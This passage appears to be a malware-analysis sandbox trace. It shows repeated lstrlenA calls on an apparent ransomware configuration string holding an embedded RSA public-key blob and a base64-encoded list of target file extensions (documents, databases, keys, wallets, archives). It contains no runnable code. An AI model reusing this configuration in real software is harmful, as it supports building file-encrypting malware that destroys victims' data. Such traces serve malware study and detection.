YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p